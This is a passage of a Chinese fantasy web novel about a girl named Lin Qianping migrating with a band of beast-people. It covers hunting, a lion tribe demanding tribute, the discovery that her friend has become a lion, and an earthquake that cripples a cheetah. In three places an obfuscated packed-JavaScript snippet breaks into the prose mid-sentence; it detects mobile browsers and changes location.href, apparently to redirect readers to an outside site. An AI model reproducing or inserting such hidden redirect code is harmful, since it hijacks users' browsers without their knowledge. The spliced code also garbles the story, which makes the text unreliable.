老人、幼崽和变不成兽形的林千平被高大的食草兽人们围在中间,食肉兽人只留下几名在外围保护和警戒,其余的全都毫无顾忌地冲向狗群厮杀起来。
克西压根没把这些瘦弱的动物放在眼里,满地乱跑绕着圈追杀斑鬣狗首领,林千平甚至能从她的背影里隐约看出些撒欢的意思来。
鬣狗群来得快,溜得更快。克西咬死好几只狗,还没追上那头体型大些的首领,就被小狼们的嚎叫声喊了回来。鬣狗们并未对他们造成什么伤害,只有一只小狼在奔跑时太过兴奋,不小心把自己摔在尖锐的石头上划伤了爪垫。
只是经过这么一打岔,他们不得不加快脚步上路,否则就没法按时抵达前方的水源地了。好在今天气温不高,中午即使顶着太阳也能继续前进。一路上没有停歇,所有人只能吃干粮充饥。更糟糕的是,他们的肉已经完全吃光了。
按照预期速度,现在应该到达前方一片茂密的小树林,大概能碰到一些走得没那么快的动物群,至少能让食肉兽人自己吃饱肚子。现下计划被打乱,队伍里的气氛愈发低沉,就连那几只好动的小狼都不再说话,沉默地护卫在四周。
傍晚时来了场太阳雨,所有人被淋了个措手不及,人形的好歹还能挤在孤零零的一棵树下用兽皮遮着避雨,兽形的就只能站在荒野中干淋着等雨过去。
林千平脖子上挂着网兜,一手护着里面的小兔子,一手撑起兽皮边缘,惆怅地望着阳光下反着亮光的雨帘。天有乌云,但没遮住太阳,于是天空就变得半明半暗。雨滴又急又大,霎时就把世界浇得湿透,阳光很快蒸发起水分,一些闷热的水雾就从地上升起。如果不是身临其中,这景象倒算得上奇异又漂亮。
雨很快停了,所有动物齐齐甩干身上的水珠,林千平被溅了一脸,赶忙背过身对着他们。克西毛发潮潮的,林千平于是便跟在丙恩身边一起赶路。下过雨的土地湿湿滑滑,踩上去触感有些恶心,林千平顾不得嫌弃,一刻不停地迈动着步子赶上队伍的脚步,但最终还是落到了队尾被克西接到背上坐着。
行至深夜,他们终于进入那片能够被称之为树林的茂密林地。这片小树林面积不大,但却比之前遇到的那些几棵树聚在一起的林子要正经得多。既有密集的树木,也有灌木和其他植物,杂草也长得粗壮。这附近的水源是个小湖泊,一行人便在离湖稍远的树林边缘扎营。
林千平用火石升起火,又要来个装好水的石锅开始煮姜汤。她手里的姜是这一路上在营地附近找东西吃的食草兽人们挖来的,一并收集来的还有些大蒜和小葱。
今天大家都淋了雨,喝些姜汤可以驱寒暖身,防止生病。虽然不知道兽人们这样会不会感冒,但她觉得至少自己得来上一碗才行。
克西刚挖了坑,脸上还蹭着些土,探头探脑地又过来看林千平在干什么。
“你要煮这个东西吃吗?”克西有些不可思议地问道。在她的意识里,林千平能吃的植物她就能吃,现下闻到生姜这股辛辣刺鼻的味道,头一次开始怀疑起自己的认知来。
“土豆都拿去烤了吗?”林千平反问道。她刚才听说肉都已经吃光,便决定把剩下的两袋土豆都拿出来让大家分了,只留下那半袋开始发芽的土豆当作种子,以后要是找到落脚的地方,说不定还能拿来播种。
“都烤上了,他们看着呢。”克西忧心忡忡地盯着林千平真的把手里的草根一点一点切开丢进锅里,她咽了两回口水,才如临大敌般又问:“这个,呃,这个真的能吃吗?”
“这个和甘草一样,咱们只喝汤就行。味道嘛...你就当药喝吧。”
哦,是药啊。克西明白了,她还跟着母亲生活的时候也学过怎么找草吃治疗身体,只是现在她并没有哪里不舒服呀?
“千平,你生病了吗?”克西紧张起来。
“不不,这是预防,呃...”林千平拨拨头发,换了个说法:“我感觉可能会生病,所以先吃药治疗......你听懂了吗?”
克西看起来大约听懂了,转而问起自己:“那我也要喝吗?”
林千平打量她几眼,又想到她庞大强壮的兽型,犹豫一会儿才说:“你想喝就喝吧,不想喝也行。”克西立马松了一口气,喜滋滋地帮忙把汤倒在几个碗里分给其他人。
卓娅听过林千平的说明,率先喝了一碗作为表率。大家虽然散落在四处,但都默默地把目光集中在首领的身上。
只见她放下石碗,表情肃然,神色却没有痛苦的意思,那些想尝尝味道或是自觉身体一般的兽人们便放下心来,三三两两地也去林千平那领姜汤喝。
“啊啊好痛!”
“我的嘴啊呜啊呜!”
“呕...呕呃...”
此起彼伏的叫声顿时回荡在树林中,重岚朝卓娅翻了个白眼,对她隐瞒味道的行为表示谴责:“你是小崽吗?还耍他们玩?”夜晚光线不好,只有靠得最近的她才能看见卓娅喝完汤时表情的轻微扭曲。卓娅难得地露出个狡黠的笑容,目光柔和地看着乱成一团的族人们。
明天就能追上脚程较慢的动物了,今晚原本以为要让食肉兽人们饿着肚子睡觉,千平又拿出土豆让大家充饥,还考虑到了淋雨以后可能生病的问题。
今天这不是,还算挺顺利的吗?
昨天睡得太迟,没来得及在这片看起来物种丰富的地方探索一番。林千平于是起了个大早,强撑着精神就要去寻找有用的植物。
天色才刚见亮,克西还在帐篷边呼呼大睡,毛绒绒的肚皮起起伏伏,和王清虞家的胖橘猫一样可爱。林千平没叫醒她,准备自己就在附近的草丛里到处看看。
她蹲在一片茂盛的灌木前,仔细分辨着地上的植物。忽然间
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236950|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,有只柔软的手搭在她的肩上,林千平以为是克西醒来找她了,头也不抬地小声说道:“我在找能吃的呢,你别吵我。”
“什么吃的?”是一道温柔的声音。林千平回过头去,图姊正笑吟吟地盯着她看。或许是凌晨时分的光线太过青白昏暗,她竟觉得图姊带着笑意的面庞十分阴郁,甚至还没来由地感觉到一阵莫名的恐惧感。
“呃,我,我挖点野菜啊......”林千平结结巴巴地回答道,冷汗不知何时爬满了后背。图姊见她表情不对,连忙放松精神,让自己的气势没那么具有攻击性。昨晚由她负责后半夜的警戒工作,神经太过紧绷,一时间就忘了收回这种气息了。
林千平晃了晃神,再看过去时又觉得图姊忽然变回了平常温柔的模样。她不敢再看,急忙扭过脸去,继续在草堆里胡乱扒拉:“你起得好早啊,哈哈。”
图姊便也把注意力放在植物上,随口解释道:“对不起,刚才吓到你了吧?”
林千平听见她的话,刚想开口安慰她自己没那么胆小,手上就碰到一株有些光滑湿润的植物,脑袋里猛然跳出一行字:
[合骨草] 有效治疗骨折、骨伤、续接断骨。外敷并内用可增强药效,缩短恢复时间,新鲜使用效果更佳。
这种奇异的感觉一闪而过,只留下这些内容印在记忆里。林千平惊疑不定地又摸上那棵草,试图找回那种感觉。她闭着眼感受了好一会儿,手上来来回回把草摸了个遍,那些字却再也没出现,好似刚才发生的一切都只是她的幻觉而已。
那株草长得特别,锯齿状的叶子边缘有些发红,叶片正面毛绒,背面光滑,和茎秆一样分泌出粘稠滑腻的汁液。林千平小心翼翼地查看着,图姊在旁边找到几株蓟草,见她一直没出声,又转过头来关心:“怎么了?”
林千平摸着那棵植物,示意她来看:“你知道这是什么吗?”
图姊上下打量了一会儿,摇头回她:“不知道,我第一次见到这种植物。”
林千平搓搓手指上的黏液,又放在鼻子底下仔细闻着,只有一股清凉的草味。什么仙草这么神奇?她不自觉回忆起那一长串文字描述,又对伴随着信息出现时的神秘感觉好奇起来。
众人陆续起床收拾行李,林千平仍旧蹲在原地冲着那棵“合骨草”发呆。克西收好帐篷,转了两圈才找到她:“千平,我们要出发了,你早晨吃了吗?”
林千平被她摇晃两下才回过神,图姊已经不在身边,天色也已大亮。她被克西连声催促着,犹疑不定地匆匆割下那棵植物,随手塞进装着半个草编篮子的口袋后便一步三回头地离开了。
本来想着找些吃的,没想到却找到个这东西。
林千平坐在克西背上,有些郁闷地看着手里蔫蔫巴巴的合骨草,又拿出小半个土豆往嘴里塞。吃完手里这个土豆,就只能吃干野菜了。林千平瞅着四周仍旧不见动物群的安静草原,情绪愈发消沉。
... ...老天奶奶,你就行行好,赐我点能吃的东西吧!
25.兽人
不知是老天终于开眼,还是愤懑的骂声起了作用,又或许命运的态度本就如此随性。
他们一路行至傍晚,来到一处空地扎营,忽有几声报警般的羊叫从远处高大的草丛里传来,队伍中的食肉兽人们几乎瞬间凝固在原地。
林千平从克西的背上刚下了一条腿踩到地面,就被突然坐起身的老虎掀翻了过去。
她仰倒在草地上,看着各种猛兽四下散开,猎豹、灰狼、老虎...有只薮猫甚至还从她脸上轻巧越过,带起的草屑泥土撒了她一身。
体型庞大的黑熊和狐狸一家自觉留在队伍中警戒,站在营地附近朝着传来混乱脚步声的那处不停张望。
其余人开始卸下行李,准备生火。所有人的脸上或多或少的都挂起笑意,动作麻利又愉快,喜气洋洋的氛围游荡在这群饥肠辘辘的人们之间。
这附近有不少散落的石块,林千平请黑熊莫克帮忙找来一块相对平整的石头,清洗干净当作案板,兴奋地准备要大吃一顿。
兽人们很快有了收获,几只小狼带回来一头黑斑羚,这只可怜的动物身上布满了狼群激动的咬痕。他们匆匆把猎物撂下,又转头兴致勃勃地跑回战场。林千平见状愈发热情高涨,捡拾柴火的动作都像在跳广场舞。
这片区域里的混乱一直持续到太阳完全落山,他们一共抓到六只黑斑羚,一窝野兔,甚至还带回来几颗鸟蛋。
几乎饿了一天的食肉兽人们肾上腺素消退,全都累得趴伏在地上喘气。猎豹阿莱甚至是被克西驮回来的——他跑得太快太久,根本没力气动弹了。
林千平生好火预热石锅,又用石刀尽量把分到的肉切得薄一些。她翻出自己的调味料,只剩下表皮变干的蒜头还能用,便也随意切切,放在一旁备用。黑斑羚擅长奔跑跳跃,身上没有多少脂肪,林千平挑出较肥的一部分肉先放到锅里勉强煎出些油脂,再将切成小块的大蒜放进锅里炒香。
克西不擅长合作捕猎,因此只是作为支援力量在外围转悠,这会儿依旧精力充沛,正蹲在林千平旁边没出息地使劲闻着锅里传来的香味。
肉快熟了,林千平把切好的野菜迅速放入锅中炒到断生,撒了一点点还没完全磨碎的盐粒,便让克西用兽皮垫着锅边把石锅从火上迅速拿了下来。
林千平自然地掰了两根小树枝当筷子,夹着肉片和野菜吃得起劲。克西看了半天,对着滚烫的食物无从下手,学着她的样子找来两根树枝,磕磕巴巴地也想戳起肉来吃。林千平没吃几口,就有根树枝老在她锅里搅来搅去,她抬头正想抽走克西手里的破树枝,就见周围的几个兽人全都盯着她看得出神。
林千平一拍脑门,吃得太开心,把他们都给忘了。
她指指莫克手里的碗:“碗给我一下。”
莫克是个长着娃娃脸的高壮姑娘,大眼睛圆溜溜的,像两颗香甜的榛子仁。她茫茫然把碗递给林千平,一声不吭地注视着她的动作。
林千平朝碗里夹了点肉和菜,又塞给莫克,热情地要她试试味道。
他们这边只分到三个碗,其余六个兽人轮着用碗尝了尝这锅新奇的食物。莫克吃得意犹未尽,眼巴巴地盯着教克西用筷子的林千平,问道:“千平,我可以用一下你的石板吗?”
林千平立刻心领神会,连忙腾出石锅、扫净石板,还贴心地留下了几瓣蒜片。克西终于不用受那两根树枝的折磨,开开心心地捧起碗把菜往嘴里倒。林千平从她手里抢救下另一碗炒菜,边吃边看莫克处理斑羚肉。
莫克在厨艺上的天赋大约比林千平强了不止一点,肉被她用巧劲切得又薄又均匀,成熟的时间把握得也很好,就连炒出来的菜汤都要少很多。林千平已经吃了个半饱,尝到她炒的菜时仍是眼前一亮。
莫克的小熊弟弟闻到食物的香味,从帐篷里啪嗒啪嗒地跑到姐姐身边,一头栽进盛满炒菜的石碗里,他也懒得再爬起来坐好,就这么摊着下半身把头埋在碗里大嚼大咽。
他们驻扎的地方,已经有些靠近草原边缘。站在树枝上,远远地就可以瞧见前方茂密森林的影子。林千平吃完饭,正在一块较大的石头背后支帐篷。
今晚的天空有些云堆,将月光遮掩大半,阴森的夜色里,火塘的亮光成为了最主要的光源。
今天克西负责外围守夜,饭后林千平就再没见到过她。莫克在她身边帮忙把支架戳进土里,她的话不多,干活却十分细致。
似乎有些轻微的响动从哪处传来,莫克头顶上冒出两只圆圆的熊耳朵,警惕地四下寻找。很快,她就弄清了声响的来源。猎豹阿莱正从远处跑来,他飞快地踏过草丛,急扑到卓娅面前,压低声音焦急地说道:“有一群狮子来了!克西正把他们拦在外面!”
卓娅立刻翻身爬上他的背,朝小狼队打了个唿哨示意他们跟上:“其他人原地警戒!”随即便和狼群一同奔往克西所在的方向。
莫克拎起林千平,把她塞进食草兽人围起来的圈里。林千平的耳朵没有兽人灵敏,没听明白是怎么回事,只好紧张地蹲在保护圈内,手里机械地撸着幼崽们顺滑的绒毛。
阿莱的速度很快,带着卓娅率先冲到克西身边。硕大的老虎此时全身毛发炸起,正呲着尖牙缓慢踱步,威慑着那群体型比她更小一些的狮子们。
这是一群精壮的母狮,为首的那一只眼下用红色染料涂出两道显眼的痕迹。她没什么表情,一动不动地静静坐立在原地。身后的四只母狮全都发出低沉的警告声,徘徊着与克西对峙。
卓娅从阿莱身上滑下,克西自然地为她让出位置,眼睛仍旧死死盯着狮群。小狼们也赶来了,在这几只狮子周围形成个C型包围圈,纷纷压低身子亮出獠牙。
领头的那只狮子终于动了,她化成人形,背着手走得近了些。她身上的衣服有些奇怪,上身和下身分开,两腿各占一条裙子,衣服边缘都用条状的兽皮包裹缝合。
若是林千平在场,她定能第一时间认出那是什么:这位狮子领队身上穿着的正是做工粗糙的吊带和短裤,那裤腰处甚至用草绳做出了松紧的效果。
这时,有阵风吹开了月亮上覆着的清云,没有夜视能力的卓娅终于短暂地看清了她的脸:棕黄色的头发被扎成个高马尾,眉毛浓密,眼睛圆亮,嘴唇有些偏厚,眼下是清晰的两道红色线条。表情看起来毫无波澜,但并未透露出敌意。
卓娅谨慎地开口:“你们,有什么事吗?”
那位首领并不看她,下巴微微抬起,目光穿过她与克西之间的缝隙,轻飘飘地不知落在何处。
她说话的方式听来也有些奇怪:“再往前走就是我们丛狮部落,你们若是要进入我们的地盘狩猎,必须上交你们手上百分之...嗯,一半的猎物。”
卓娅听清她的话,神色柔和几分,语气也轻松起来:“我知道了,我们需要往南走,不会停留在你们这里的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239464|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”她伸手拍拍克西,示意她把牙齿收起来。
克西敛下尖牙,抖抖毛蹲坐在地上。
“明天你们若是进入我们的地盘,我会在晚上这个时候来取猎物。”头狮不再多说什么,变回兽形就领着其他狮子飞快地离开了。
卓娅带着狼群回到营地,疲惫的兽人们围在一起,精神紧张地注意着四周的动静。见到他们回来,所有人都松了一口气,七嘴八舌地小声议论起究竟发生了什么事。卓娅趁大家都还聚在这里,说明了遇到狮群的事。
“他们部落在这儿,那说明这里的猎物很多吧?”
“我们干脆也在这里落脚好了!我喜欢吃黑斑羚!”
“他们为什么要我们那么多猎物啊?”
林千平在人群中弄清楚了事情的来龙去脉,有些意外地想到:这不就过路费吗?这些狮子居然这么聪明?
大聪明王清虞回到部落,扑倒在自己帐篷里柔软的干草床上。她闭着眼摸了摸身下柔顺的兽皮,就要沉沉睡去。半梦半醒间,帐篷外传来一阵脚步声,有个高大的身影弯下腰走了进来。王清虞翻了个身,仰面躺着等待对方发话。
来人是她这具身体的母亲,也是丛狮部落的首领。她是个脾气豪爽直接的人,此时正一屁股坐在王清虞身边,高兴地拍拍她的肚子:“清,今天来的那帮家伙看起来厉害吗?”
王清虞微合着眼,随口回她:“还行吧。”
黍向下扯扯她往上跑了的衣服,又道:“你这个主意出得不错,只是现在周围的动物都跑了,我看他们也抓不到多少猎物...明天晚上你回来记得来找我,我们得想想以后的事。”
王清虞懒懒地“嗯”了一声,黍见她困得不行,便起身离开了帐篷。
北方的灾难他们也有所耳闻,不少兽人南下避难,几乎都会选择穿过这片地势平坦的草原,进入森林。他们部落的地盘正好在草原和森林的交界处,经常有兽人队伍路过。
自己的地盘有其他人进入,无论是否恶意,对兽人来说都是种带有挑衅意味的行为。为了维护他们部落的地位,狮群前期经常和外来兽人打架,许多族人受伤严重,疲惫不堪。直到有天,清突然提出这个收“过路费”的办法。
起初大家都在怀疑,哪有人会这么听话,乖乖地就把猎物双手奉上呢?但出人意料的是,绝大多数路过此地的兽人们都选择了上交猎物。或许是外来兽人大都长途奔波,精神紧绷,同样不想起什么冲突;又或者是他们真的被清所表现出来的气势压倒,不由自主地就忌惮起丛狮部落的实力。
总之,这个办法实行起来倒是相当顺利。既彰显了他们部落的威严,又不用总是打架,还能坐在部落里收获食物,实在是一举三得的好事。
只是最近周围的动物还在四散奔逃,那些流亡的兽人也都往南走得很快,更北一些的地方甚至出现了植物大片枯死的迹象,丛狮部落正在考虑要不要也跟着离开这里。
黍走到部落边缘,有些感慨地望着这片美丽的草原。她的祖辈都生活在这里,食物丰富,周围水源充沛,距离森林也很近,她们甚至还在离这里一天路程的地方拥有一个秘密盐洞。
真的到了要离开的时候吗?
黍双膝跪地,弯下腰把耳朵紧贴在泥土地上,企图从大地母亲那里得到回答。
草原上向来猛烈的强风掠过黍的身体,又刮进黑暗,传来呜呜的响声。
26.兽人
不知道他们是不是最后一个来到这里的队伍。
卓娅在离营地不远的地方采集植物,她随意扫视几眼地面,动作麻利地挖起一颗野菜,一边注意着四周,一边任由自己纷乱的思绪随意发展。
她曾经预想着只要向南前进,迟早能够遇到自己从前的族人。没想到一路走来只发现了有兽人队伍经过的痕迹,那群狮子竟成了他们第一个碰到的兽人群体。
也许在森林边缘落脚是个不错的选择,角马和羚羊总会回到草原活动,森林里也有更多植物和草药可供他们使用,只是这样就必须征求丛狮部落的意见了。
卓娅手上不停割着细长扁宽的牧草,偶尔中断思考,直起身清点周围的人数。
他们队伍的战斗水平比不上训练有素、默契十足的狮群,克西虽然强大,但只习惯单打独斗,一旦被围攻就很难脱身。
至于小狼队,先不提数量上能不能和一个部落的战斗力相提并论,他们实际是独立于队伍里其他兽人的一个团体。甚至只要他们乐意,随时都可以自行离开。
卓娅当时刚刚聚集起一群食草兽人,队里绝大多数都是无法变为兽形的老年人,零星几个年轻人也都受着伤。阿祖雅是带着小狼队来草原进行训练的,也被开裂的大地拦住了回家的路。她见卓娅领着那么多行动不便的兽人,主动提出帮助他们一起上路,先尽快离开危险的区域再说。
结果这一出发,就几乎走完了整片草原。
阿祖雅是个外表冷酷,实则内心柔软,十分具有责任感的人。卓娅知道只要大家决定留在这附近建立部落,她就会为了所有人去和狮子争夺地盘。卓娅毫不怀疑狼群的忠诚,就像她也早已将这个乱七八糟的队伍当成了自己新的家族一样。
食肉兽人和食草兽人混居的例子有很多,但几乎都保持在一个相对独立、偶尔共生的状态。他们可能住得很近,会交换猎物和植物,会协作干活,但不会一起吃饭、一起睡觉、甚至让幼崽们玩在一起。
卓娅既希望找到自己的家人,又希望能把现在的朋友们都留下。她隐约觉得,这样混合生活的部落,也许会是一种更加和谐的存在。
她扎好一捆牧草,又抬头一个个念着名字数起今天出来采集的兽人们。
林千平蹲在一丛灌木里,小心地扒拉着长满尖刺的枝条,从叶子深处摘下一颗颗颜色亮丽的浆果。她已经吃了一些,嘴周的皮肤都被果汁染成红色,像是叼了两根香肠一样滑稽。这种果子长得有点像小番茄,吃起来却和梅子一个味道,汁水丰富,尝起来酸酸甜甜,令人欲罢不能。
她被树丛里的小刺扎得呲牙咧嘴,霍霍完这几棵灌木也才摘了小半袋果子,正要从这些长刺的枝条里钻出来,就听见卓娅雄厚又焦急的叫声:“千平!”
林千平还剩半个身子在灌木丛里,听到声音着急站起来,就被小刺拉了几道发白的痕迹,还好只伤到了表皮。只是这么一耽搁,卓娅已经跑到她身前,揉面一般查看她有没有受伤。
“下回还是让阿莱陪着你吧,他跑得快,其他动物也不敢随意招惹。”卓娅拍拍林千平身上的泥土,有些忧心地说道。
这个孩子的天赋异常特殊,所掌握的技能和知识几乎超出了她的认知。卓娅知道,她就是上天赐予这支队伍又一份珍贵的礼物。可惜她无法变成兽形,又那么瘦小,也跑不快,就像长不大的幼崽一样,需要她们时时分神保护着。
“不不,不用,他还有别的活要干呢。我下次不走这么远了...给你添麻烦了。”林千平朝她摆手,右手里抓着的口袋也跟着左右摇晃,她赶紧用那些美味的浆果转移卓娅的注意力:“你看这个,味道很好,还可以治疗皮肤病......”
那些母狮又来了。
阿祖雅让乌利亚盯着猎物外围的空缺,自己走到一棵树后,沉着身子观察那群招摇过市的狮子们。
她们似乎也是来狩猎的。阿祖雅紧跟在后面,监视着她们的一举一动。再往前走就是狼群的包围圈,阿克拉的叫声适时地响起,提醒她猎物已经得手。
狮子们明显也听懂了他的嚎叫,步伐变得更快,似乎就要冲进狼群抢夺猎物。
阿祖雅在草丛中快速奔跑,突然从一个方向窜出,拦在狮群面前。
她低声咆哮,亮出獠牙守卫他们的战利品。
狮群对她的出现并不意外,她们在阿祖雅快速奔来的时候就听见了动静。为首的并不是昨天那只脸上画着红色图案的狮子,她停下脚步,一动不动地立在原地看着阿祖雅的动作。
阿祖雅仰天长啸,呼唤小狼们来到自己的身边。
领头的狮子见状,不再停留原地,带着狮群转了个弯绕开这些紧张的灰狼,脚步轻快地往树林边缘走去。
乌利亚急冲到阿祖雅身边,背上的毛不知道被谁薅秃了一块,断裂的毛发随着他的动作在空中乱飞。他嗷呜嗷呜地问起情况,阿祖雅变成人形,仍盯着狮群离开的方向。
“她们来干什么?想抢我们猎物吗?!”乌伯塔跟着赶到,气得变成人形大喊起来。
“你们抓到几只?”阿祖雅保持着眺望的姿势,神情凝重地开口。
“一只。”性格沉稳一些的阿克拉回答道。
“先回营地。”直到狮群离开她的视线,阿祖雅才带着小狼们掉头返回。
林千平坐在火堆边,和图姊一起整理今天找到的草药。他们只在上午前进了一段路程,下午又扎营休息。这里靠近森林,植物种类丰富许多,图姊需要收集草药,正好也可以让疲惫的兽人们多休息一会儿。
小狼队回来得最早,只带着一只羚羊。领队阿祖雅面色很差,一回到营地就叫走了卓娅。
克西回来得最晚,两爪空空,嘴边的毛却湿漉漉的。林千平有些意外地看着她,随意问道:“你背着我们偷吃什么好东西去了?嘴巴都没擦干净。”
克西背上的毛吓得炸开,赶紧四下瞅瞅动静,变回人形解释起来:“不是不是,卓娅说让我们自己吃饱就行,最好别带猎物回来。”
林千平想起昨天那群上门要收过路费的狮子,恍然大悟地笑着连连点头:“对对,就该这样。”
食肉兽人吃的肉多,就让他们自己出去找食吃。其他人吃吃昨天剩下的猎物完全足够了。那群狮子若是来要账,估计也只能拿到半只羚羊。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248683|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>你只说要收走打到的猎物,可没说要分我们吃到嘴里的肉啊。林千平满意地竖了竖大拇指,被一头雾水的克西追着问个不停。
王清虞站在营地外,好奇地打量着这个混杂着各种兽形的队伍。她曾经见过的那些过路队伍几乎都是同一种类的兽人,即使有所混合,也通常是相同食性的聚集在一起,规模也不会有这么大。
她看到有些兽人正在分类植物,正想走近些看看样子,就被拎着半只羚羊过来的卓娅叫住。
“这是我们今天的猎物。”卓娅把羚羊放在地上,退回营地边缘。
“这么少?你们的能力看起来不应该只能抓到一只羚羊啊?”狮群中一个留着寸头的女人说道。
“附近的动物太少了,找不到。”卓娅面无表情地回答,其他正在干活的兽人纷纷默契地站起身来到她身后。
林千平挤在这群个个都比她高的兽人中间,扒开个缝隙也想看看热闹。
她好不容易伸出脑袋,却只看见那些狮子兽人的身体,为首的那个穿着做工在这个世界上来说相当精致的兽皮衣,林千平看着那款式熟悉的吊带和短裤,差点没被自己的口水呛死。
她向下半蹲着,想从下往上避开树枝看清她们的长相,却只瞟到个熟悉的侧脸就那么在她眼前变成了一头健壮的狮子。
母狮们离开得很快,林千平刚大叫了一句“喂!!”,就被克西从人群里拔了出来。
克西以为林千平被挤坏了,正要问问她有没有受伤,就见林千平猛地甩开她的手,头也不回地往营地外跑去。
林千平绕过人群,追到草丛里,被阿祖雅一把拽住:“你去哪?”
林千平惊疑不定地看向她,似乎终于想起自己身处何地:“我...”
阿祖雅打断她的话,抓紧她的手轻声说道:“你身后有蛇,动作不要太大,慢慢走回来。”
林千平顿时僵立在原地,浑身寒毛倒竖,凉意从后背爬上头顶,令她的脑袋又麻又沉。她极其缓慢地挪动双腿,阿祖雅悄声安慰着她,仔细分辨起那条蛇的样子。
好在是条无毒蛇,阿祖雅扔出树枝赶走它,牵着林千平回到营地:“营地周围都有图姊放的毒草,晚上最好别随便走出去。”
林千平向她道谢,神情恍惚地回到火堆边。她只吃了几口莫克炒的肉片,就把碗塞给克西,自己躲进帐篷里躺着发呆。
王清虞...变狮子了?不是,哎?
看陌生人变成动物,林千平还算接受良好,只把这当成个奇幻的游戏设定看待。直到亲眼目睹最要好的朋友咻地一下变成只活狮子,她才回味过来这种事究竟有多离谱。
变身会疼吗?从他们的表情来看好像不会。有什么感觉上的变化呢?更强壮,更有活力?会不会有狂野的捕猎欲望?牙齿咬进动物的血管里是什么感觉?奔跑起来时又是什么感受?
林千平越想越激动,恨不得现在就抓来王清虞好好研究研究。只是她现在还保持着失忆的人设,那些狮子也不见得会帮忙假装她就是丛狮部落走丢的族人。
更重要的是,她现在连王清虞的部落具体在哪都不知道,要怎么和她相认呢?
27.兽人
这是个凉快的早晨。
一群角马正在睡梦中咀嚼着鲜嫩的草叶,它们由于意外和大部队走散,往南来到了一片树林歇息。
小角马醒得很早,它爬起来吃了两口还算美味的灌木叶子,有些好奇地看着几颗突然在地上弹跳起来的小石头。
震动来得迅猛,角马们被危险的气息炸醒,撒开蹄子就要拼命逃跑。
它们的生活中总是出现这样惊险的时刻,跑在最前面的那只角马自然地选定了一个方向直直前冲,其他角马们就像磁铁一样一个挨着一个地跟着它,毫无负担地使劲狂奔。
在它们的认知里,这样的危险很快就能被跑过去。只可惜这一次,那只首当其冲的角马不幸选错了方向。
林千平是在帐篷被人一把掀翻时才醒来的,克西的大爪子悬在空中,虎啸声震得她几欲耳聋。
脚下的大地正在颤动,但并不过分剧烈,不会令人无法行动。他们的营地周围有不少树木,此时正随着震动左右摇晃。
林千平揪住克西脖子上的毛,试图让上半身立得更高,她声嘶力竭地大喊着,让所有人都跑到开阔的草原上去。
震源离他们应该有些距离,只要不再有更大的余震,呆在草原上不会有什么危险。
克西身上挂着丙恩和幼崽,林千平又拉上一位跑得慢了些的老人家,磕磕绊绊地转移到了空地上。
卓娅把身上的重岚放下,焦急地清点着人数。所有人都惊恐不已,聚在一起慌乱地寻找着自己的亲人或朋友。
“佐山不在!佐山不在这里!”林千平和克西救起的那位老人惶恐地惊叫起来。他们俩是好朋友,帐篷离得也不远,他逃走的时候看见佐山的帐篷已经被掀开,便以为对方早就逃出树林了。
克西正要返回营地,却被一道黑黄色的身影抢先一步。阿莱像箭一般冲回乱糟糟的营地,在营地边缘找到正在往外爬行的佐山。他的脚踝肿胀异常,看起来伤得不轻。
阿莱让他趴伏在自己背上,尽可能快地往外撤离。他的身体并不适合背负重物奔跑,因此速度比来时慢了许多。
令人不安的震动仍在持续,林千平谨慎地观察着大地的状况,他们似乎不在断裂带上,地面开裂的情况并不严重。
克西和阿祖雅帮忙约束想要慌乱逃离的兽人们,卓娅仍在试图理清队伍里的每个人是否都在。
没有人注意到一群同样惊惧的角马正在朝他们的营地直冲而去。
阿莱是猎豹,他灵活的身体结构和极佳的反应能力完全就是为奔跑而生的。假如没有背着佐山的话,即使迎面和犀牛撞上,他也能轻松躲开。
只是一切都恰好在此地发生了。
阿莱为了躲避角马群,重心朝一侧偏离过度,佐山的重量令他失去判断,最终被后来的角马撞倒在地,后腿被马蹄踏过,弯出个扭曲的弧度。
克西注意到了倒在树林外的他们,她冲到阿莱面前吓退了头脑发懵的角马群,混乱之中还扇晕了一头跑到她面前的硕大公马。
卓娅带着其他人也冲了过来,他们合力把两名伤员抬到了空地上。
阿莱无力地趴伏在地上,那张长着两道“泪痕”的豹子脸上挂起了痛苦的泪水。
疼痛对他来说不算什么,他是在为自己的腿而流泪。
食草兽人的部落里经常可以看到残疾的兽人,他们的饮食习惯不那么依靠狩猎,因此尽管生活上会有些不便,但他们通常都能活下来。食肉兽人当中则几乎见不到残疾兽人,这并不是因为他们的族人不愿意提供帮助,而是因为由于受伤丧失捕猎能力的食肉兽人往往更难以接受自己的失败和孱弱。尤其像阿莱这样如此年轻就失去自己最宝贵能力的壮年兽人,自杀或出走的概率高得惊人。
何况现在他们这支七零八落的队伍甚至没有自己的领地和住所,而如果没有这场地震,天亮时他们就将继续赶路。
阿莱拒绝了图姊为他查看伤口的请求,他试图缩起疼痛的后腿,用身子遮住它。可断裂的那一部分不听使唤,仍软塌塌地留在身体外面。
